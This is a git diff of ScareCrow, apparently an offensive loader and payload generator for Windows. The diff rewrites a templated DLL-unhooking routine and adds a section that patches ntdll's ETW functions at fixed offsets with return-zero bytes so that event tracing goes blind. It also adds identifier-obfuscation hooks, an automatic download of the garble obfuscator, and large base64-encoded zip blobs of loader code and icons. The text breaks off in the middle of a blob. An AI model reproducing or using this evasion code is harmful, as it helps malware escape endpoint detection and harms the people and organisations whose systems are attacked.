@@ -1823,53 +1530,30 @@ func {{.Variables.Reloading}}({{.Variables.DLLname}} string) error {
{{.Variables.handle}} := {{.Variables.loaddll}}.Handle
{{.Variables.dllBase}} := uintptr({{.Variables.handle}})
{{.Variables.dllOffset}} := uint({{.Variables.dllBase}}) + uint({{.Variables.x}}.VirtualAddress)
- var {{.Variables.oldfartcodeperms}} uintptr
- {{.Variables.regionsize}} := uintptr(len({{.Variables.bytes}}))
{{.Variables.handlez}} := uintptr(0xffffffffffffffff)
- {{.Variables.runfunc}}, _ := [NtProtectVirtualMemory](
- {{.Variables.customsyscall}},
- {{.Variables.handlez}},
- (*uintptr)(unsafe.Pointer(&{{.Variables.dllOffset}})),
- &{{.Variables.regionsize}},
- syscall.PAGE_EXECUTE_READWRITE,
- &{{.Variables.oldfartcodeperms}},
- )
- if {{.Variables.runfunc}} != 0 {
+ var {{.Variables.oldfartcodeperms}} uintptr
- }
-
-
- for i := 0; i < len({{.Variables.bytes}}); i++ {
- {{.Variables.loc}} := uintptr({{.Variables.dllOffset}} + uint(i))
- {{.Variables.mem}} := (*[1]byte)(unsafe.Pointer({{.Variables.loc}}))
- (*{{.Variables.mem}})[0] = {{.Variables.bytes}}[i]
- }
-
- {{.Variables.runfunc}}, _ = [NtProtectVirtualMemory](
- {{.Variables.customsyscall}},
- {{.Variables.handlez}},
- (*uintptr)(unsafe.Pointer(&{{.Variables.dllOffset}})),
- &{{.Variables.regionsize}},
- {{.Variables.oldfartcodeperms}},
- &{{.Variables.oldfartcodeperms}},
- )
- if {{.Variables.runfunc}} != 0 {
- }
+ {{.Variables.WriteProcessMemory}}({{.Variables.handlez}}, uintptr({{.Variables.dllOffset}}), (&{{.Variables.bytes}}[0]), uintptr(uint32(len({{.Variables.bytes}}))), & {{.Variables.oldfartcodeperms}})
return nil
}
-func [NtProtectVirtualMemory]({{.Variables.sysid}} uint16, {{.Variables.processHandle}} uintptr, {{.Variables.baseAddress}}, {{.Variables.regionSize}} *uintptr, {{.Variables.NewProtect}} uintptr, {{.Variables.oldprotect}} *uintptr) (uint32, error) {
-
- return [loader].[NtProtectVirtualMemory](
- {{.Variables.sysid}},
- {{.Variables.processHandle}},
- uintptr(unsafe.Pointer({{.Variables.baseAddress}})),
- uintptr(unsafe.Pointer({{.Variables.regionSize}})),
- {{.Variables.NewProtect}},
- uintptr(unsafe.Pointer({{.Variables.oldprotect}})),
- )
-}
`
}
+
+func ETWInjectionSection() string {
+ return `
+ if {{.Variables.name}} == "C:\\Windows\\System32\\ntdll.dll" {
+ {{.Variables.offset}} := []uint32{0x4E1A0, 0x4E100, 0x41E70, 0x42030}
+ for i, _ := range {{.Variables.offset}} {
+ {{.Variables.data}}, _ := hex.DecodeString("4833C0C3")
+ var {{.Variables.nLength}} uintptr
+ {{.Variables.datalength}} := len({{.Variables.data}})
+ {{.Variables.WriteProcessMemory}}({{.Variables.handle}}, uintptr(uint({{.Variables.dllOffset}} ))+uintptr(uint({{.Variables.offset}}[i])), uintptr(unsafe.Pointer(&{{.Variables.data}}[0])), uintptr(uint32({{.Variables.datalength}} )), &{{.Variables.nLength}})
+ }
+ } else {
+
+ }
+`
+}
diff --git a/Utils/Utils.go b/Utils/Utils.go
index dd7cee2..79167c5 100644
--- a/Utils/Utils.go
+++ b/Utils/Utils.go
@@ -4,12 +4,14 @@ import (
"ScareCrow/Cryptor"
"archive/zip"
"bytes"
+ "crypto/sha256"
"encoding/base64"
"fmt"
"io"
"io/ioutil"
"log"
"os"
+ "os/exec"
"path/filepath"
"runtime"
"strconv"
@@ -18,8 +20,6 @@ import (
"github.com/fatih/color"
)
-const base64string = "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"
-
func Version() {
Version := runtime.Version()
Version = strings.Replace(Version, "go1.", "", -1)
@@ -30,14 +30,33 @@ func Version() {
}
}
-func ModuleObfuscator(name string) {
+func ModuleObfuscator(name string, FuncName string) {
NTVirProt := Cryptor.CapLetter() + Cryptor.VarNumberLength(10, 19)
+ NTVirProtpre := Cryptor.CapLetter() + Cryptor.VarNumberLength(10, 19)
Alloc := Cryptor.CapLetter() + Cryptor.VarNumberLength(10, 19)
+
+ sysid := Cryptor.VarNumberLength(10, 19)
+ processHandle := Cryptor.VarNumberLength(10, 19)
+ baseAddress := Cryptor.VarNumberLength(10, 19)
+ regionSize := Cryptor.VarNumberLength(10, 19)
+ NewProtect := Cryptor.VarNumberLength(10, 19)
+ oldprotect := Cryptor.VarNumberLength(10, 19)
loader := Cryptor.VarNumberLength(10, 19)
name = name + ".go"
+ PackageEditor("loader/loader.go", "[NtProtectVirtualMemoryprep]", NTVirProtpre)
+ PackageEditor(name, "[NtProtectVirtualMemoryprep]", NTVirProtpre)
PackageEditor("loader/loader.go", "NtProtectVirtualMemory", NTVirProt)
PackageEditor("loader/loader.go", "Allocate", Alloc)
PackageEditor("loader/loader.go", "loader", loader)
+ PackageEditor("loader/loader.go", "FuncName", FuncName)
+
+ PackageEditor("loader/loader.go", "[sysid]", sysid)
+ PackageEditor("loader/loader.go", "[processHandle]", processHandle)
+ PackageEditor("loader/loader.go", "[baseAddress]", baseAddress)
+ PackageEditor("loader/loader.go", "[regionSize]", regionSize)
+ PackageEditor("loader/loader.go", "[NewProtect]", NewProtect)
+ PackageEditor("loader/loader.go", "[oldprotect]", oldprotect)
+
PackageEditor("loader/asm.s", "NtProtectVirtualMemory", NTVirProt)
PackageEditor("loader/asm.s", "Allocate", Alloc)
PackageEditor(name, "[loader]", loader)
@@ -63,6 +82,43 @@ func PackageEditor(file, orginalstring, replacestring string) {
}
}
+func CheckGarble() {
+ bin, _ := exec.LookPath("env")
+ var cmd *exec.Cmd
+ cwd, err := os.Getwd()
+ if err != nil {
+ fmt.Println(err)
+ }
+ if _, err := os.Stat(cwd + "/.lib/garble"); err == nil {
+ } else {
+ fmt.Println("[!] Missing Garble... Downloading it now")
+ cmd = exec.Command(bin, "GOBIN="+cwd+"/.lib/", "go", "install", "mvdan.cc/garble@latest")
+ var out bytes.Buffer
+ var stderr bytes.Buffer
+ cmd.Stdout = &out
+ cmd.Stderr = &stderr
+ err := cmd.Run()
+ if err != nil {
+ fmt.Printf("%s: %s\n", err, stderr.String())
+ }
+ }
+}
+
+func Sha256(input string) {
+ f, err := os.Open(input)
+ if err != nil {
+ log.Fatal(err)
+ }
+ defer f.Close()
+
+ h := sha256.New()
+ if _, err := io.Copy(h, f); err != nil {
+ log.Fatal(err)
+ }
+
+ fmt.Printf("[!] Sha256 hash of "+input+": %x\n", h.Sum(nil))
+}
+
func Writefile(outFile string, result string) {
cf, err := os.OpenFile(outFile, os.O_CREATE|os.O_WRONLY, 0644)
check(err)
@@ -165,6 +221,27 @@ func Unzip(src string, dest string) ([]string, error) {
}
func B64decode(name string) {
+ var base64string string
+ if name == "loader.zip" {
+ base64string = "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"
+
+ }
+ if name == "icons.zip" {
+ base64string = "UEsDBBQAAAAIANEOfcEwkUz3dAIAAL4lAAAHAAAAY21kLmljb+2ZyY4SQRjHq4ctAZlgQLwQlpA2hgMBIgQChH3fXsGjB08TD05iIkYT5+pb+BI6rI1GL0adOBqXGH2Oz6qaZgSVrnaGmW4m9Se/VFPdqfp11VfhAEIC/kQipPWjpyJCboTQdUwEcxMd9ZP0RcTDw3PxImBMGBtmW+dYMYZFedn9CkbEhHROEHN58R3u3tmp7D16AJsA1r0hv4N17k/630jPNgLiKu/D9p/++FLXcH9t4f7awv21hftrC/fXlovs/+7lEGw2G3MMLVHyf/9qDI1GA1wuF3McrWD593o96HQ64PV6mWNpgRr/ObFYDCwWC3PM80TJ/+D1ZMm/2+3SegoGg7C1tcUc+zz4X39cS5R8Pg8+nw+MRiNzjrPkpP7tdhtarRbUajUIhUJgtVqZc50Fp/UnNJtNWlfpdBpEUQSHw8Gcd12s079er9P9qFarkMvlIBwOg9/vB6fTCSaTielyEpT8f3z+8Je/HKZ/pVKBcrlMny0Wi1AoFEAh5HeSYjabl/wMBgPpI+eMXguCsHT/2+Hb1f5fDpf8cY7XH+fYH+ef/jS//cmZp/uSzWYhk8nQekulUpBMJiGRSEA8HodoNEr2jZwpWouBQAA8Hg+43W6w2+1kH9fiz1r/eUql0sb5yyH1o1v/VfUjh9SP7vzVnF8cUj+69VdTP3rx//n1I/fX0P/7pwOQZi9UMANJmsF0JRJMpxJMFJnCZDKFMWUCo/ERw9GYMhiOYH8whOf7g0WU/Mm9jUD2v4a5pBf/J7u3CKq+y/5XMea5/+OH/dt7Kv670QP37+3uyO4C4uHh2egADbvtk4cNcivwVrllr+e8/QVQSwMEFAAAAAgA0Q59wVXSs50/BwAAnlQAAAkAAABleGNlbC5pY2/tnEdsE1EQQDd0RNxSTIIooYheEhIIzYRO6L33ZnrvHUMgAQ4g0ZtoAg4gOAACRAkigQsSTUgc6ByAEyCBxAUx/Pm73l3vxvG3/RN/Iw96ymrlNi8z49kViiTFkX+5ufgzTSoYKUlOSZKaEnIJeyX5PMbUkVJZRByhIqEyoUqUUxlzoTnxiTjlNe2EmoRUQq0oBT97CiGBUI2To0oEB6ERoSWhVZSDOTSW5BasKoUX6Lc6oS4hi9CVkBPluDAX5fdtDbOG8LkWe62qHTNHOZ9mT0yB/wHMxZZapbPSZxWk0AOf68gaU/NxNsP7RhNZo2s+Jrklc/CTnM3wftFIoy72DA5+nNkM7xWNYG4xPzE/ocLNz4QUCAuGzxoJePlpP74mhEeKzASCQL54+SHf7xAu7cYSxim+BKkrXn7ShyVDqGQgw5Oh7Qgn7mWKK+op4o54+WnZPxFCpdWAJGg1MAlaD06C9KGKp9FOdBTxXuPlp2mPBAianhrNeidAi1zZVZshsqOsMZGvIV5+yJ4JIeOyQ+McOzTp4YDmfRKII1pHtNfajYtsDfHyUzvdAsFQx0uGTL1MK9TPtkHjbg5aR20GJ2ENKXMocB5lhdePa5XN7lplLeyy0gpIZ2SFTKflCsus0HGZRWapBToskclerNF+EWFhPKXdApms+RqZ8xTmxkPbOTUgA5ktk+6uAS0nxEPTXg6cR3RmZ40RxM9qWyEBXKuIH4LqaUUpnpb68bQogCe9I6Mn4qj1xHho2S8Rv9ciPoO8frqusQGCjkr1tJzdU3u9pwWBPNXQe6JzKL0UP9032MsFr5+ctehHQXVk8BREz/nz1K4ET5kleGreWzA/62yQs1bGXEs26qhcZtNcinB+uqEfiuaJuefKYDY1E83Pejt0W0cwOvJ6Ws3gieNsEs0PHqMjxZNPLbHMpmB6jmU2ieanh/fces2TsedO3smHp2+LfJi2t4vf2TRie0t48qbIh+M3dzD1nHB+Njqgh+58txI8jdnVCn7+/gG6QEd+e+7By2tgjOF5LZhmk2h+eqIfil31VFLPnbybb8p50ZEBptm08HB/0+NO3MrHnkMC9pxwfjY5AOkR0JMNXn9+4ZP3l28fTfvAk7dFpsf03VAn4GySHYnnp9fmBOhFHZk9dTfMppn7XabayL841zvDaT0ZY+Gh/kHtA6L56Y1+ZDRPqiPzbDp1t8BUHwM8dXEfoMe6wDkU9D4gnJ8tiYCOdJ7UWvI3m7589/FAv9/yL83Vn6LzfFRBK7a9Se058fz0IX76yI5UTD1n8LT0xECjC1Pt7Lu6JqRrFdH89PUQPwSjp14BPF16dBD8BM7xkK9VxPOTBOhI78nbc6XNpsHb6yl9Zo4Z+7r47uBBeBLNT+5W4oegedJqKcBs8vox9drY3a1DulZBMibFQ8cFVnCtxOfgd4Lv53afrV8ueP30I27QkeYpEVh67nRhgd/+evquSN2b2O4P4GwS1M+2ZOi3TXOUSx2V7mninnTT9cZXQy1tODcB96YgPYnnpz/xg1BPip9APffw1XWTm03nJ+hP0d4blFdP3ZtY76MI5yeP+MnTOdqWVJIntZZWnBps6qddV+bTnnv2vtjn/Ol7BerexHofRTQ/A/KcoDkK5CmR1MonY+2os2n5yUEmd7MOuORrFYb7KDlrxfMzcLsT0JF/T5qjw7fWG9PHetLPJmPvYU3RfYDlPkrOOjH9IIE8jdzVEH4ZZvLzD8XG2YSz29x/l+cB630U0fwM2lETfBxpnnwc3X5+wZT3ytNDtNmk83Tr6XnTTjRkRxrTfRQR/VBHJk+ao2n72sKLDw91FMPtZxf87k3DCxrA8/fFXmiPHbyxjuk+CvWzUBw/g/OJH4LeE2vPsexNLNcq+tmUMdnXT/eI+0kBCnUUoifGvYnlPkrbKfHQaZGV7tTdBPAzpCAFdI58PfntOSfjPqDNJtb7KJnTLNBpsRW6op916CTyfqgjnadwe65fENcqxp5rN8sCXZaR3lojhp+hih/VUz4/T6qjIGZT9hz9bBbAz85UQPSeAvYcg6d+wcwmredo7XRd7a2dyPsZtjO1EP2E5MlnNgXRcyXfRyGvQXaJY2kw82QazDpNPucZ8+f2FGeWC6qfXal2QuEwH0ep1E1ZzCY/+wB5TSdMPVrP4CbyfqTQg/7/zOnH0yBcZpzQambWGa+b/8MP5hQ2XidnAs8FD0NuPODlB3MKGYY5GfV+GHLiiYchNx7E/MT8hEPMT8xPOHDwE0dIdjPkxBMPQ248kML/+wDoJ8HNkBNPPAy58YDkliiF9/c3MCxuhpx44mHIjQeYGwc/ld0MOfHEw5AbDx48eGCROATZg++7GfLihYcht7ApyrwvcYrpJ9Ic7rPl5yhgbuFTuKmwrV3iH3H/CbGIRSzKKQDknxXx+K8ySIzHf5QHR9FxLKIrWH6nZXL813wcp+8L07G82tjw2BulHP8DUEsDBBQAAAAIANEOfcFQHPvvyQgAAJ5UAAAIAAAAbHluYy5pY2/tXEnMTEEQbiTEOiRIhAQRieVgCWJJcLFcLLHFjVhOdm7EcnBwwgUJEuvBEkvs+xprgiBBrEPsJGbM8M+MmWlVb3rM816/qer33vh//PXny1/5p19Vd73u6qruml+IOvAzciT+7iBWTRCitRCiC2AkYK0o/B1p6gRRS7VUS7XkSbEDoiFgHGA14BLgLaAKIAE5wEfANcBGwGRAC/GPEIylKSDi8Vk3wA5AEm1hgDRgH6C/+AsI+tkBMA2wBnAM8BwQ14zrO+AJ4JRql2fYgsJxQGdRwwj6NACwDhBljKHSwPk0W1QzQR+aABbgHGD02Tfix1rJxLmeMnF5iExc6Cvjx9uQzyDUWq0v/jCBzkaAxYDPjD76QvLKMJmObpa5qtcyL6ULudRHmX69SyavjZaxg/XKyTr0J20EukYDXsYYY/z1/g81kl/PdJeJiwNg3MMBI2Ti0mD4Wzf4rPHvdrk+Rv6I3UYbsJFNPpHfbkwoO49EhQn3UGuPYNgD18L3+4tk5t1hmf3+EsaQLzu+XOqDzHw8K398vkzaohzSb/bK+OFm2j5V0h+B7H6AF+Vs8vVEO1n1YKnMJh6T46gksvF74J/aan12JfY1kDkRkPG0y6lO4Cc2yXwuTfb9TwFs5DWPTogQCeTNUvGqW9ehhrLq0coaZZff1trrPdr3GVYMibbxkG/tsdnkM7KP1Q0Pn71PBCRcU17z5vu9eTV2zuj2tdjBui4/FCRfQ1/s5W9ST9eSfappSF4bpZtDk4UPQrt67VPpVzvJvtjx49MFWfVwBcQzY2Xy8tBysQC2sdr+iN0h5ZoCYkid3o3CB+HaDDJvst9ewPqbL+NHmpMxkhe+nuxg2SqX+ULq4wDibJ2ea8KQ4JkxHv6G7kPmC9qFHLsJwMbs90JAl699FAak8qmXmn2K9MWwJvCdk+P1i2+3ppLjp5A438cpNycMyMo13fENuYeDbQKtJS7AP5E2KAPM+10yBZOsMwp3Ho6xH7mm/oRtfvXn4XLSDh7APSCIfRZocgZyXX27NYUcU8Hftgc/ska3N+HfLP8WPxIh5QDQ/5O20CF+tKVT1gfBJM3ZFp670DoZc4f7znHciXM9SHmcvcIBPD/SybouGGSdibrzcHLuZD6dJ8eSfrmF7LtjveJcI/f+PEOWDfiudbLWCwZBuw3ud76M1EnYB9ceKUMDtClpd9M1BueQOjnjBIOg3WuX/uQTUie86zLxcA/y+TIg7QPvhpRR8m+3dTKSgIYM23R1je18b1Lnb+/abZtAcS88G6p9IPfyfdYK7WY4nsMzUVKnY52hD0bgHhXINgCUEZp9fny+pHs+D+gmGIR3VS7d746QeiuFzNsDrD2R638yH8/onj8imARtL7h0f39F6g0TONb0y62Y35N2KeRkEVJmaV9/p5NxSjDJcc+J9yykzqBQ9sCcylfOZhr//Lo7KuGJYFKxHkIB76dIfaZAf5R5exBze1/28Lu2FGBMXZ0yqgSDMF937T2XBpH6OCjkDPMx5yHHawJuLG4D3kH6yrugXXP3fe4IUh+xl7H9iCn8xpswJp285r7sc3Ukqc8DoZ+N2YB7Pqnf2z7DfdkHybW+Lg8h9enz+KnkGP0A5oyxv3EA7/t1shsLBrn9czdSnwPoE8hxmgDeEc6XwHYp+efuTh0pwSRo+zTI/g5jIMdLnAthrQbagx0TmyGPdSNOvVHBJGh72tnnXOo9Qy8/F3DkZhi/YJwc2vwoA6wb0fXjgmASxpKOZ7HGhNRrO9MlbQLxLq7BP2IPB7C2Jsi5TzdNLaRR/U2MMV+qwy4KmGvr+jVTMEjV5TnrtkidJvYJ4lMK5wIrEBh/k+25Z/Kc3F3VXiddcyd+l9RpYp88QwY3loKxGp2dQI2Wrk+vBYOg3XhNLSSp09Q+ftYW+O9Q8guoY9PJ2CAYhO3ctQfbSJ2m/tk014a1RMZGeYYcuFvAOwadjIGCQXi34XgO70BovT72d879OcwzvB8lZXFzsNSLjdg+yLnGh99rr1uTOoPEh+A70E5Y72IHngMZ5Sas+6JcCu82dc8vFExy978XrdeHvwgT3LUFd+K65z8Dmggm+dXtcf7FuvcMAu6dSDb5FGsqdDKWCANy1hUmLvQjdVeXjeDdsWwDPhlrcXQyXgIaCQNS3y0r+Z/jbWn9DIS51iB35fmbX7rneskaKwwJa8vceelHsg8cgM/GfYZdj6FZS0Z2se2jodXxYm2ia294vZvshykgT8eYDteIV90Bfob2RJv4iifTr7Z72eaF3xperG0NmnvVBJSZNxlAP+GTVA1v+jeZB+ux6hJqBHLpcv4mB5gkApKujvfbzYl036oZsIcX9ykvzBEhEH5HQ3sm8XY/2cdqQS5ViP0ONfScN2HZxmajE7qa42z8Pt3fP4VcGvOpYs7ghUwYa0pjn85FP+SIh6rdRnB+g2cUxTy8HF4E8cWCttFsj9r1wGsNz2ozn87hdyfJewY4S8fzYjwTNbmX3ud3Dzeh385a3T7beF+D+3crXnDcHeH9GsY7eOdr3WsmLg7E+ynrDoZhCzte+omL/RJ+9xlwyLM/B+vheDGGLMXZ7hpaPK+wziEZ4/OLz4AlpvlUGKRstIPRR/RPmNMWvqt/rheeH5HPBMQTwEKTM4pKkfJHaUafK42oOgceCKgjahCpfe0EYwwU8krOaXWXndK0+ar2oOOAtYDpgI7iLyAVQ+7zMZ+Saq1208iso2prmol/hFS+Nlnl/dcAn2xnbFXqfxddUv/LaByn9rqWaqmW/h+SRaL4mFhe5N9dEO0VH4NfDRS/An7VK/BZS3aBj1n8couP2vgVFj/E4gt9aY983sZnC3wE+ZSNjxX4BshHbfwFD36FjRd6Ps/gsww+pfiIB9+eycc0fAT5CspHPqr4IQx+OYOXer6Oja/nwTew8RFZ6md7Gz9Elsa1vMgXp1RWqZK/3mMDGx8pzG0lRv6aM2rORwtNZGHu1btWXAt5EWGtF8X/BFBLAwQUAAAACADRDn3BEly1LWwIAACeVAAADAAAAG9uZWRyaXZlLmljb+2YV4wSURSGBwGx01msoK49xm4sMZaY6IuJJvpijLH33svqioK9rr1j7zXGXrC32F1krWtZ64Mm+uCD8XjunQtDEZlhQVHnN58edxdm5uOcM7Acp8A/bduSf+3czI4cZ+E4rirSFlnI8V8n6daRkyNHjhw5cuTIkSNHjhw5f3cUSIEURUH5/SHHViOFkGKIHjGmGAZEixRBCtJzTn7IMTTsuFbEjlRCqiE1UozqSBWkAlKKvYaaJHlSsH7RIWXYcWsidZGGSGOkSYpBzqkRUg+pxX7tUxopjqi4xKUA61Er81KbHHf7mNKuq/PtR5+tTX/7dlMleLuRkA5vN6TDG0pFeONmrK9Aeb2OsbY8zxrGajvkEVYhKwk2yFtBKAevCMuRZYSylJdLy8DLJeK4M7PU7b3DzVmdmxZtzzxVZPNXMAG7SYmUYHNUq36lwm2OOW3uvI2VPr/bUhneba4MbymVgDgK9vTG78kdxdPaME+rk+uJcMlhPdKgoqY1mT32emvy4cjvpjyZo2UDS2bkba785d3WKsCDfrbwRDry87NeivAU0Uuv/Y5WUUehnpaHeVoqzdOzrDKfV/YyjmGOLHRvSE8Bdl+yIQ3Oz62w+/32qvB+G8HvR/D0s15K6MyFe/ppL5WN6SaYLQNNTry2yog2jh7SsJ1f71pW+tH3O6rB++2EqpAfT6k2c+v6GkeSnS1xXxdg7x1qXJifvuv9jurAUw1ieyKOkugpWi+tiG/mcnHWWtUoRO6/RSX0EOkd++KuhnEfdtaA94QdNSIcCZ6YI+Rv3E3XHGkH8HrNdN/GDnGoa1Re3ezOBP1n31QTPF9mx2uvRj1J6yVxM/endtOLrNLwyGWC7AnFYWQrTVN6v48dMocl9/